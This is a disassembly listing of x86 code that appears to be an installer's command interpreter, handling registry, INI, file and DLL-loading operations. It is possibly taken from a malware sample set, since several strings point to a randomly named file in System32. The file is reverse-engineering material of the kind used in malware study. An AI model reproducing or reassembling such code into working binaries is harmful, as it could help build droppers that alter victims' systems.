; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_401439

loc_401F4B:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		lea	eax, [ebp+var_58] ; jumptable 0040148C case 43
		push	0FFFFFFEEh
		mov	[ebp+arg_0], eax
		call	sub_402A9A
		lea	ecx, [ebp+var_30]
		mov	[ebp+var_2C], eax
		push	ecx
		push	eax
		call	sub_406BF8
		mov	[esi], bl
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		mov	[edi], bl
		mov	[ebp+var_4], 1
		jz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		push	eax
		push	40h
		call	ds:dword_4070F8	; GlobalAlloc
		cmp	eax, ebx
		mov	[ebp+var_34], eax
		jz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		push	eax
; END OF FUNCTION CHUNK	FOR sub_401439

; =============== S U B	R O U T	I N E =======================================



sub_401F90	proc near		; DATA XREF: .data:0040FC9Bo
					; .data:0041BCF3o
		push	dword ptr [ebp-8]
		push	ebx
		push	dword ptr [ebp-2Ch]
		call	sub_406BF2
		test	eax, eax
		jz	short loc_401FD4
sub_401F90	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401FA0	proc near		; DATA XREF: .data:0040FCA9o
					; .data:0041BD01o
		lea	eax, [ebp-44h]
		push	eax
		lea	eax, [ebp+8]
		push	eax
		push	offset dword_409010
		push	dword ptr [ebp-34h]
sub_401FA0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401FB0	proc near		; DATA XREF: .data:loc_40FCB0o
					; .data:loc_41BD08o
		call	sub_406BEC
		test	eax, eax
		jz	short loc_401FD4
		mov	eax, [ebp+8]
		push	dword ptr [eax+8]
		push	esi
		call	sub_405939
		mov	eax, [ebp+8]
		push	dword ptr [eax+0Ch]
		push	edi
sub_401FB0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401FCC	proc near		; DATA XREF: .data:0040FCBEo
					; .data:0041BD16o
		call	sub_405939
		mov	[ebp-4], ebx

loc_401FD4:				; CODE XREF: sub_401F90+Ej
					; sub_401FB0+7j
		push	dword ptr [ebp-34h]
		jmp	loc_401BE1
sub_401FCC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_401439

loc_401FDC:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		xor	edi, edi	; jumptable 0040148C case 44
		push	8001h
		inc	edi
		mov	[ebp+var_4], edi
		call	ds:dword_407104	; SetErrorMode
		cmp	dword_42F4D0, ebx
		jl	loc_402093
		push	0FFFFFFF0h
		call	sub_402A9A
		push	edi
		mov	esi, eax
		call	sub_402A9A
		cmp	[ebp+var_14], ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40201D
		push	esi
		call	ds:dword_407108	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40202A

loc_40201D:				; CODE XREF: sub_401439+BD5j
		push	esi
		call	ds:dword_40710C	; LoadLibraryA
; END OF FUNCTION CHUNK	FOR sub_401439

; =============== S U B	R O U T	I N E =======================================



sub_402024	proc near		; DATA XREF: .data:0040FDBFo
					; .data:0041BE17o
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40208F

loc_40202A:				; CODE XREF: sub_401439+BE2j
		push	dword ptr [ebp+8]
		push	edi
		call	ds:dword_407110	; GetProcAddress
		mov	esi, eax
		cmp	esi, ebx
sub_402024	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_402038	proc near		; DATA XREF: .data:0040FE9Eo
					; .data:0041BEF6o
		jz	short loc_402077
		cmp	[ebp-1Ch], ebx
		mov	[ebp-4], ebx
		jz	short loc_402059
		push	dword ptr [ebp-1Ch]
		call	sub_401428
		call	esi	; WaitForSingleObject
		test	eax, eax
		jz	short loc_402081
sub_402038	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_402050	proc near		; DATA XREF: .data:0040FEDDo
					; .data:0041BF35o
		mov	dword ptr [ebp-4], 1
		jmp	short loc_402081
; ---------------------------------------------------------------------------

loc_402059:				; CODE XREF: sub_402038+8j
		push	offset off_409000
		push	offset dword_40B040
		push	offset dword_430000
		push	400h
		push	dword ptr [ebp-8]
		call	esi	; WaitForSingleObject
		add	esp, 14h
		jmp	short loc_402081
; ---------------------------------------------------------------------------

loc_402077:				; CODE XREF: sub_402038j
		push	dword ptr [ebp+8]
		push	0FFFFFFF7h
		call	sub_404D7E

loc_402081:				; CODE XREF: sub_402038+16j
					; sub_402050+7j ...
		cmp	[ebp-18h], ebx
		jnz	short loc_40209A
		push	edi
		call	ds:dword_407114	; FreeLibrary
		jmp	short loc_40209A
; ---------------------------------------------------------------------------

loc_40208F:				; CODE XREF: sub_402024+4j
		push	0FFFFFFF6h
		jmp	short loc_402095
; ---------------------------------------------------------------------------

loc_402093:				; CODE XREF: sub_401439+BBAj
		push	0FFFFFFE7h

loc_402095:				; CODE XREF: sub_402050+41j
		call	sub_401428

loc_40209A:				; CODE XREF: sub_402050+34j
					; sub_402050+3Dj
		push	ebx
		call	ds:dword_407104	; SetErrorMode
		jmp	loc_40292F	; default
sub_402050	endp			; jumptable 0040148C cases 65,66

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_401439

loc_4020A6:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	0FFFFFFF0h	; jumptable 0040148C case 45
; END OF FUNCTION CHUNK	FOR sub_401439

; =============== S U B	R O U T	I N E =======================================



sub_4020A8	proc near		; DATA XREF: .data:00410090o
					; .data:0041C0E8o
		call	sub_402A9A
		push	0FFFFFFDFh
		mov	[ebp-30h], eax
		call	sub_402A9A
		push	2
		mov	esi, eax
		call	sub_402A9A
sub_4020A8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4020C0	proc near		; DATA XREF: .data:004100CFo
					; .data:0041C127o
		push	0FFFFFFCDh
		mov	[ebp-2Ch], eax
		call	sub_402A9A
		push	45h
		mov	[ebp-34h], eax
		call	sub_402A9A
		push	esi
		mov	[ebp-44h], eax
		call	sub_405554
		test	eax, eax
		jnz	short sub_4020E8
		push	21h
		call	sub_402A9A
sub_4020C0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4020E8	proc near		; CODE XREF: sub_4020C0+1Fj
					; DATA XREF: .data:00410198o ...
		lea	eax, [ebp+8]
		push	eax
		push	offset dword_407420
		push	1
		push	ebx
sub_4020E8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4020F4	proc near		; DATA XREF: .data:004101ACo
					; .data:004102C5o ...
		push	offset dword_407430
		call	ds:dword_407278
		cmp	eax, ebx
		jl	loc_4021DF
		mov	eax, [ebp+8]
		lea	edx, [ebp-8]
		push	edx
		push	offset dword_407440
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		cmp	edi, ebx
		jl	loc_4021D2
		mov	eax, [ebp+8]
		push	esi
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+50h]
		mov	edi, eax
		mov	eax, [ebp+8]
		push	offset aCWindowsSyst_0 ; "C:\\WINDOWS\\System32\\b06FdUe"
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+24h]
		mov	ecx, [ebp-14h]
		mov	esi, 0FFh
		mov	eax, ecx
		sar	eax, 8
		and	eax, esi
		jz	short loc_40215A
		mov	ecx, [ebp+8]
		push	eax
		push	ecx
		mov	edx, [ecx]
		call	dword ptr [edx+3Ch]
		mov	ecx, [ebp-14h]

loc_40215A:				; CODE XREF: sub_4020F4+57j
		mov	eax, [ebp+8]
		sar	ecx, 10h
		mov	edx, [eax]
		push	ecx
		push	eax
		call	dword ptr [edx+34h]
		mov	eax, [ebp-34h]
		cmp	[eax], bl
		jz	short loc_402180
		mov	edx, [ebp-14h]
		mov	eax, [ebp+8]
		and	edx, esi
		mov	ecx, [eax]
		push	edx
		push	dword ptr [ebp-34h]
		push	eax
		call	dword ptr [ecx+44h]

loc_402180:				; CODE XREF: sub_4020F4+78j
		mov	eax, [ebp+8]
		push	dword ptr [ebp-2Ch]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+2Ch]
		mov	eax, [ebp+8]
		push	dword ptr [ebp-44h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+1Ch]
		cmp	edi, ebx
		jl	short loc_4021C9
		mov	esi, offset word_409440
		push	400h
		push	esi
		push	0FFFFFFFFh
		push	dword ptr [ebp-30h]
		mov	word_409440, bx
		push	ebx
		push	ebx
		call	ds:dword_407118	; MultiByteToWideChar
		mov	eax, [ebp-8]
		push	1
		push	esi
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+18h]
		mov	edi, eax

loc_4021C9:				; CODE XREF: sub_4020F4+A6j
		mov	eax, [ebp-8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]

loc_4021D2:				; CODE XREF: sub_4020F4+28j
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]
		cmp	edi, ebx
		jge	short loc_4021F2

loc_4021DF:				; CODE XREF: sub_4020F4+Dj
		mov	dword ptr [ebp-4], 1
		push	0FFFFFFF0h

loc_4021E8:				; CODE XREF: sub_401439+21Cj
					; sub_401439+296j ...
		call	sub_401428
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_4021F2:				; CODE XREF: sub_4020F4+E9j
		push	0FFFFFFF4h
		jmp	short loc_4021E8
sub_4020F4	endp


; =============== S U B	R O U T	I N E =======================================

; jumptable 0040148C case 46


sub_4021F6	proc near		; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o

; FUNCTION CHUNK AT 004026E6 SIZE 00000014 BYTES

		push	ebx
		call	sub_402A9A
		mov	edi, eax
		push	11h
		mov	[ebp+8], edi
		call	sub_402A9A
		mov	esi, eax
		mov	eax, [ebp-8]
		push	edi
		mov	[ebp-64h], eax
		mov	dword ptr [ebp-60h], 2
		call	sub_4059F1	; lstrlen
		push	esi
		mov	[eax+edi+1], bl
		call	sub_4059F1	; lstrlen
		mov	edi, offset dword_40A440
		push	0FFFFFFF8h
		push	edi
		mov	[eax+esi+1], bl
		call	sub_4059FD
		push	esi
		push	edi
		call	sub_4059F7	; lstrcat
		mov	eax, [ebp+8]
		push	edi
		mov	[ebp-5Ch], eax
		mov	ax, [ebp-1Ch]
		push	ebx
		mov	[ebp-58h], esi
		mov	[ebp-4Ah], edi
		mov	[ebp-54h], ax
		call	sub_404D7E
		lea	eax, [ebp-64h]
		push	eax
		call	ds:dword_407160
		test	eax, eax
		jz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		push	ebx
		push	0FFFFFFF9h
		call	sub_404D7E
		jmp	loc_4026DA
; ---------------------------------------------------------------------------

loc_402279:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		cmp	eax, 0BADF00Dh	; jumptable 0040148C case 47
		jz	short loc_40229D

loc_402280:				; CODE XREF: sub_401439+748j
					; sub_401439+756j
		push	200010h
		push	0FFFFFFE8h
		push	ebx
		call	sub_4059FD
		push	eax

loc_40228E:				; CODE XREF: sub_401439+50Ej
		call	sub_4052DB

loc_402293:				; CODE XREF: sub_401439+61j
					; sub_401439+6Fj ...
		mov	eax, 7FFFFFFFh
		jmp	loc_40293A	; jumptable 0040148C case 2
; ---------------------------------------------------------------------------

loc_40229D:				; CODE XREF: sub_4021F6+88j
		inc	dword_42F4B4
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_4022A8:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		xor	esi, esi	; jumptable 0040148C case 48
		xor	edi, edi
		cmp	eax, ebx
		jz	short loc_4022B8
		push	ebx
		call	sub_402A9A
		mov	esi, eax

loc_4022B8:				; CODE XREF: sub_4021F6+B8j
		cmp	[ebp-20h], ebx
		jz	short loc_4022C6
		push	11h
		call	sub_402A9A
		mov	edi, eax

loc_4022C6:				; CODE XREF: sub_4021F6+C5j
		cmp	[ebp-14h], ebx
		jz	short loc_4022D4
		push	22h
		call	sub_402A9A
		mov	ebx, eax

loc_4022D4:				; CODE XREF: sub_4021F6+D3j
		push	0FFFFFFCDh
		call	sub_402A9A
		push	eax
		push	ebx
		push	edi
		push	esi
		call	ds:dword_40711C	; WritePrivateProfileStringA
		jmp	loc_4015C8
; ---------------------------------------------------------------------------

loc_4022EA:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	1		; jumptable 0040148C case 49
		mov	dword ptr [ebp+8], 7E4E21h
		call	sub_402A9A
		push	12h
		mov	edi, eax
		call	sub_402A9A
		push	0FFFFFFDDh
		mov	[ebp-30h], eax
		call	sub_402A9A
		push	eax
		push	3FFh
		lea	eax, [ebp+8]
		push	esi
		push	eax
		push	dword ptr [ebp-30h]
		push	edi
		call	ds:dword_407120	; GetPrivateProfileStringA
		mov	eax, [esi]
		cmp	eax, [ebp+8]
		jmp	loc_40177F
; ---------------------------------------------------------------------------

loc_40232A:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		cmp	[ebp-14h], ebx	; jumptable 0040148C case 50
		jnz	short loc_40235A
		push	2
		call	sub_402B76
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4026DA
		push	33h
		call	sub_402A9A
		push	eax
		push	esi
		call	ds:dword_407018	; RegDeleteValueA
		push	esi
		mov	edi, eax
		call	ds:dword_40701C	; RegCloseKey
		jmp	short loc_402379
; ---------------------------------------------------------------------------

loc_40235A:				; CODE XREF: sub_4021F6+137j
		push	22h
		call	sub_402A9A
		mov	ecx, [ebp-14h]
		and	ecx, 2
		push	ecx
		push	eax
		push	dword ptr [ebp-20h]
		call	sub_402B61
		push	eax
		call	sub_402ADA
		mov	edi, eax

loc_402379:				; CODE XREF: sub_4021F6+162j
		cmp	edi, ebx
		jz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		jmp	loc_4026DA
; ---------------------------------------------------------------------------

loc_402386:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	eax		; jumptable 0040148C case 51
		call	sub_402B61
		mov	esi, [ebp-14h]
		mov	edi, eax
		mov	eax, [ebp-10h]
		push	2
		mov	[ebp-30h], eax
		call	sub_402A9A
		push	11h
		mov	[ebp-44h], eax
		call	sub_402A9A
		lea	ecx, [ebp+8]
		push	ebx
		push	ecx
		push	ebx
		push	2
		push	ebx
		push	ebx
		push	ebx
		push	eax
		push	edi
		mov	dword ptr [ebp-4], 1
		call	ds:dword_407020	; RegCreateKeyExA
		test	eax, eax
		jnz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		cmp	esi, 1
		mov	edi, offset dword_40A440
		jnz	short loc_4023E2
		push	23h
		call	sub_402A9A
		push	edi
		call	sub_4059F1	; lstrlen
		inc	eax

loc_4023E2:				; CODE XREF: sub_4021F6+1DCj
		cmp	esi, 4
		jnz	short loc_4023F5
		push	3
		call	sub_402A7D
		push	esi
		mov	dword_40A440, eax
		pop	eax

loc_4023F5:				; CODE XREF: sub_4021F6+1EFj
		cmp	esi, 3
		jnz	short loc_402409
		push	0C00h
		push	edi
		push	ebx
		push	dword ptr [ebp-18h]
		call	sub_402EBD

loc_402409:				; CODE XREF: sub_4021F6+202j
		push	eax
		push	edi
		push	dword ptr [ebp-30h]
		push	ebx
		push	dword ptr [ebp-44h]
		push	dword ptr [ebp+8]
		call	ds:dword_407004	; RegSetValueExA
		test	eax, eax
		jnz	short loc_402422
		mov	[ebp-4], ebx

loc_402422:				; CODE XREF: sub_4021F6+227j
		push	dword ptr [ebp+8]
		jmp	loc_4024FB
; ---------------------------------------------------------------------------

loc_40242A:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	20019h		; jumptable 0040148C case 52
		call	sub_402B76
		push	33h
		mov	edi, eax
		call	sub_402A9A
		cmp	edi, ebx
		mov	[esi], bl
		jz	loc_4026DA
		lea	ecx, [ebp-34h]
		mov	dword ptr [ebp-34h], 3FFh
		push	ecx
		lea	ecx, [ebp+8]
		push	esi
		push	ecx
		push	ebx
		push	eax
		push	edi
		call	ds:dword_407000	; RegQueryValueExA
		xor	ecx, ecx
		inc	ecx
		test	eax, eax
		jnz	short loc_40249E
		cmp	dword ptr [ebp+8], 4
		jz	short loc_402488
		cmp	[ebp+8], ecx
		jz	short loc_402478
		cmp	dword ptr [ebp+8], 2
		jnz	short loc_40249E

loc_402478:				; CODE XREF: sub_4021F6+27Aj
		cmp	[ebp-14h], ebx
		jz	short loc_402480
		mov	[ebp-4], ecx

loc_402480:				; CODE XREF: sub_4021F6+285j
		mov	eax, [ebp-34h]
		mov	[eax+esi], bl
		jmp	short loc_4024FA
; ---------------------------------------------------------------------------

loc_402488:				; CODE XREF: sub_4021F6+275j
		cmp	[ebp-14h], ebx
		jnz	short loc_402494
		mov	dword ptr [ebp-4], 1

loc_402494:				; CODE XREF: sub_4021F6+295j
		push	dword ptr [esi]
		push	esi
		call	sub_405939
		jmp	short loc_4024FA
; ---------------------------------------------------------------------------

loc_40249E:				; CODE XREF: sub_4021F6+26Fj
					; sub_4021F6+280j
		mov	[esi], bl
		mov	[ebp-4], ecx
		jmp	short loc_4024FA
; ---------------------------------------------------------------------------

loc_4024A5:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	20019h		; jumptable 0040148C case 53
		call	sub_402B76
		push	3
		mov	edi, eax
		call	sub_402A7D
		cmp	edi, ebx
		mov	[esi], bl
		jz	loc_4026DA
		cmp	[ebp-14h], ebx
		mov	ecx, 3FFh
		mov	[ebp+8], ecx
		jz	short loc_4024DB
		push	ecx
		push	esi
		push	eax
		push	edi
		call	ds:dword_407008	; RegEnumKeyA
		jmp	short loc_4024F4
; ---------------------------------------------------------------------------

loc_4024DB:				; CODE XREF: sub_4021F6+2D7j
		push	ebx
		push	ebx
		push	ebx
		lea	ecx, [ebp+8]
		push	ebx
		push	ecx
		push	esi
		push	eax
		push	edi
		call	ds:dword_40700C	; RegEnumValueA
		test	eax, eax
		jnz	loc_4026DA

loc_4024F4:				; CODE XREF: sub_4021F6+2E3j
		mov	[esi+3FFh], bl

loc_4024FA:				; CODE XREF: sub_4021F6+290j
					; sub_4021F6+2A6j ...
		push	edi

loc_4024FB:				; CODE XREF: sub_4021F6+22Fj
		call	ds:dword_40701C	; RegCloseKey
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_402506:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		cmp	[esi], bl	; jumptable 0040148C case 54
		jz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		push	esi
		call	sub_405952
		push	eax
		jmp	loc_401F10
; ---------------------------------------------------------------------------

loc_40251A:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	0FFFFFFEDh	; jumptable 0040148C case 55
		call	sub_402A9A
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp-20h]
		push	eax
		call	sub_4056AC
		cmp	eax, 0FFFFFFFFh
		jz	loc_4026D8

loc_402536:				; CODE XREF: sub_401439+56Aj
					; sub_401439+8D5j ...
		push	eax
		jmp	loc_401581
; ---------------------------------------------------------------------------

loc_40253C:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		cmp	[ebp-1Ch], ebx	; jumptable 0040148C case 56
		jz	short loc_402552
		push	1
		call	sub_402A7D
		mov	byte ptr aCWindowsSystem, al ; "C:\\WINDOWS\\System32\\b06FdUe"
		xor	eax, eax
		inc	eax
		jmp	short loc_40255F
; ---------------------------------------------------------------------------

loc_402552:				; CODE XREF: sub_4021F6+349j
		push	11h
		call	sub_402A9A
		push	eax
		call	sub_4059F1	; lstrlen

loc_40255F:				; CODE XREF: sub_4021F6+35Aj
		cmp	[esi], bl
		jz	loc_4026DA
		lea	ecx, [ebp+8]
		push	ebx
		push	ecx
		push	eax
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32\\b06FdUe"
		push	esi
		call	sub_405952
		push	eax
		call	ds:dword_407124	; WriteFile
		jmp	loc_4015C8
; ---------------------------------------------------------------------------

loc_402584:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	2		; jumptable 0040148C case 57
		mov	[ebp-2Ch], ebx
		call	sub_402A7D
		cmp	eax, 1
		mov	[ebp-8], eax
		jl	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		mov	ecx, 3FFh
		cmp	eax, ecx
		jle	short loc_4025A6
		mov	[ebp-8], ecx

loc_4025A6:				; CODE XREF: sub_4021F6+3ABj
		cmp	[esi], bl
		jz	loc_40263C
		push	esi
		mov	[ebp+0Bh], bl
		call	sub_405952
		cmp	[ebp-8], ebx
		mov	[ebp-34h], eax
		jle	short loc_40263C
		mov	esi, [ebp-2Ch]

loc_4025C2:				; CODE XREF: sub_4021F6+40Cj
		lea	eax, [ebp-30h]
		push	ebx
		push	eax
		lea	eax, [ebp-9]
		push	1
		push	eax
		push	dword ptr [ebp-34h]
		call	ds:dword_407128	; ReadFile
		test	eax, eax
		jz	short loc_40263F
		cmp	dword ptr [ebp-30h], 1
		jnz	short loc_40263F
		cmp	[ebp-18h], ebx
		jnz	short loc_402606
		cmp	byte ptr [ebp+0Bh], 0Dh
		jz	short loc_402616
		cmp	byte ptr [ebp+0Bh], 0Ah
		jz	short loc_402616
		mov	al, [ebp-9]
		mov	[esi+edi], al
		inc	esi
		cmp	al, bl
		mov	[ebp+0Bh], al
		jz	short loc_40263F
		cmp	esi, [ebp-8]
		jl	short loc_4025C2
		jmp	short loc_40263F
; ---------------------------------------------------------------------------

loc_402606:				; CODE XREF: sub_4021F6+3EDj
		movzx	eax, byte ptr [ebp-9]
		push	eax
		push	edi
		call	sub_405939
		jmp	loc_402938
; ---------------------------------------------------------------------------

loc_402616:				; CODE XREF: sub_4021F6+3F3j
					; sub_4021F6+3F9j
		mov	al, [ebp-9]
		cmp	[ebp+0Bh], al
		jz	short loc_40262C
		cmp	al, 0Dh
		jz	short loc_402626
		cmp	al, 0Ah
		jnz	short loc_40262C

loc_402626:				; CODE XREF: sub_4021F6+42Aj
		mov	[esi+edi], al
		inc	esi
		jmp	short loc_40263F
; ---------------------------------------------------------------------------

loc_40262C:				; CODE XREF: sub_4021F6+426j
					; sub_4021F6+42Ej
		push	1
		push	ebx
		push	0FFFFFFFFh
		push	dword ptr [ebp-34h]
		call	ds:dword_407130	; SetFilePointer
		jmp	short loc_40263F
; ---------------------------------------------------------------------------

loc_40263C:				; CODE XREF: sub_4021F6+3B2j
					; sub_4021F6+3C7j
		mov	esi, [ebp-2Ch]

loc_40263F:				; CODE XREF: sub_4021F6+3E2j
					; sub_4021F6+3E8j ...
		mov	[esi+edi], bl
		cmp	esi, ebx
		jmp	loc_4015CA
; ---------------------------------------------------------------------------

loc_402649:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		cmp	[esi], bl	; jumptable 0040148C case 58
		jz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		push	dword ptr [ebp-18h]
		push	ebx
		push	2
		call	sub_402A7D
		push	eax
		push	esi
		call	sub_405952
		push	eax
		call	ds:dword_407130	; SetFilePointer
		cmp	[ebp-20h], ebx
		jl	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		jmp	loc_4028D5
; ---------------------------------------------------------------------------

loc_402678:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		cmp	[esi], bl	; jumptable 0040148C case 59
		jz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		push	esi
		call	sub_405952
		push	eax
		call	ds:dword_407134	; FindClose
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_402692:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		cmp	[edi], bl	; jumptable 0040148C case 60
		jz	short loc_4026AE
		lea	eax, [ebp-1A4h]
		push	eax
		push	edi
		call	sub_405952
		push	eax
		call	ds:dword_407138	; FindNextFileA
		test	eax, eax
		jnz	short loc_4026ED

loc_4026AE:				; CODE XREF: sub_401439+34Cj
					; sub_4021F6+49Ej
		mov	dword ptr [ebp-4], 1
		mov	[esi], bl
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_4026BC:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	2		; jumptable 0040148C case 61
		call	sub_402A9A
		lea	ecx, [ebp-1A4h]
		push	ecx
		push	eax
		call	ds:dword_40713C	; FindFirstFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4026E6
		mov	[edi], bl

loc_4026D8:				; CODE XREF: sub_4021F6+33Aj
		mov	[esi], bl

loc_4026DA:				; CODE XREF: sub_401439+197j
					; sub_401439+29Ej ...
		mov	dword ptr [ebp-4], 1
		jmp	loc_40292F	; default
sub_4021F6	endp			; jumptable 0040148C cases 65,66

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4021F6

loc_4026E6:				; CODE XREF: sub_4021F6+4DEj
		push	eax
		push	edi
		call	sub_405939

loc_4026ED:				; CODE XREF: sub_4021F6+4B6j
		lea	eax, [ebp-178h]
		push	eax
		push	esi
		jmp	loc_402855
; END OF FUNCTION CHUNK	FOR sub_4021F6

; =============== S U B	R O U T	I N E =======================================

; jumptable 0040148C case 62


sub_4026FA	proc near		; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	ebx
		mov	dword ptr [ebp-34h], 0FFFFFD66h
		call	sub_402A9A
		mov	esi, eax
		push	esi
		call	sub_405554
		test	eax, eax
		push	esi
		jz	short loc_402721
		mov	esi, offset aCWindowsSystem ; "C:\\WINDOWS\\System32\\b06FdUe"
		push	esi
		call	sub_4059DB
		jmp	short loc_402741
; ---------------------------------------------------------------------------

loc_402721:				; CODE XREF: sub_4026FA+18j
		push	offset aCWindowsSyst_2 ; "C:\\WINDOWS\\System32"
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32\\b06FdUe"
		call	sub_4059DB
		push	eax
		call	sub_4054E8
		push	eax
		call	sub_4059F7	; lstrcat
		mov	esi, offset aCWindowsSystem ; "C:\\WINDOWS\\System32\\b06FdUe"

loc_402741:				; CODE XREF: sub_4026FA+25j
		push	esi
		call	sub_405C17
		push	2
		push	40000000h
		push	esi
		call	sub_4056AC
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_402802
		mov	eax, dword_42F42C
		mov	esi, ds:dword_4070F8
		push	eax
		push	40h
		mov	[ebp-2Ch], eax
		call	esi	; GlobalAlloc
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4027F4
		push	ebx
		call	sub_40311B
		push	dword ptr [ebp-2Ch]
		push	edi
		call	sub_4030E9
		push	dword ptr [ebp-1Ch]
		push	40h
		call	esi	; GlobalAlloc
		mov	esi, eax
		cmp	esi, ebx
		mov	[ebp-30h], esi
		jz	short loc_4027CC
		push	dword ptr [ebp-1Ch]
		push	esi
		push	ebx
		push	dword ptr [ebp-20h]
		call	sub_402EBD
		jmp	short loc_4027BF
; ---------------------------------------------------------------------------

loc_4027A7:				; CODE XREF: sub_4026FA+C7j
		mov	ecx, [esi]
		mov	eax, [esi+4]
		add	esi, 8
		push	ecx
		add	eax, edi
		push	esi
		push	eax
		mov	[ebp-38h], ecx
		call	sub_40568C
		add	esi, [ebp-38h]

loc_4027BF:				; CODE XREF: sub_4026FA+ABj
		cmp	[esi], bl
		jnz	short loc_4027A7
		push	dword ptr [ebp-30h]
		call	ds:dword_4070F4	; GlobalFree

loc_4027CC:				; CODE XREF: sub_4026FA+9Cj
		lea	eax, [ebp-44h]
		push	ebx
		push	eax
		push	dword ptr [ebp-2Ch]
		push	edi
		push	dword ptr [ebp+8]
		call	ds:dword_407124	; WriteFile
		push	edi
		call	ds:dword_4070F4	; GlobalFree
		push	ebx
		push	ebx
		push	dword ptr [ebp+8]
		push	0FFFFFFFFh
		call	sub_402EBD
		mov	[ebp-34h], eax

loc_4027F4:				; CODE XREF: sub_4026FA+7Dj
		push	dword ptr [ebp+8]
		call	ds:dword_407060	; CloseHandle
		mov	esi, offset aCWindowsSystem ; "C:\\WINDOWS\\System32\\b06FdUe"

loc_402802:				; CODE XREF: sub_4026FA+60j
		cmp	[ebp-34h], ebx
		push	0FFFFFFF3h
		pop	edi
		jge	short loc_40281B
		push	0FFFFFFEFh
		pop	edi
		push	esi
		call	ds:dword_407140	; DeleteFileA
		mov	dword ptr [ebp-4], 1

loc_40281B:				; CODE XREF: sub_4026FA+10Ej
		push	edi
		jmp	loc_4021E8
sub_4026FA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; jumptable 0040148C case 63


sub_402821	proc near		; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o

; FUNCTION CHUNK AT 00402862 SIZE 00000026 BYTES

		push	ebx
		call	sub_402A7D
		cmp	eax, dword_42F44C
		mov	[ebp+8], eax
		jnb	loc_4026DA
		mov	esi, eax
		mov	eax, [ebp-1Ch]
		imul	esi, 418h
		add	esi, dword_42F448
		cmp	eax, ebx
		jl	short loc_402862
		mov	ecx, [esi+eax*4]
		jnz	short loc_40285F
		add	esi, 18h
		push	esi
		push	edi

loc_402855:				; CODE XREF: sub_401439+784j
					; sub_4021F6+4FFj
		call	sub_4059DB
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

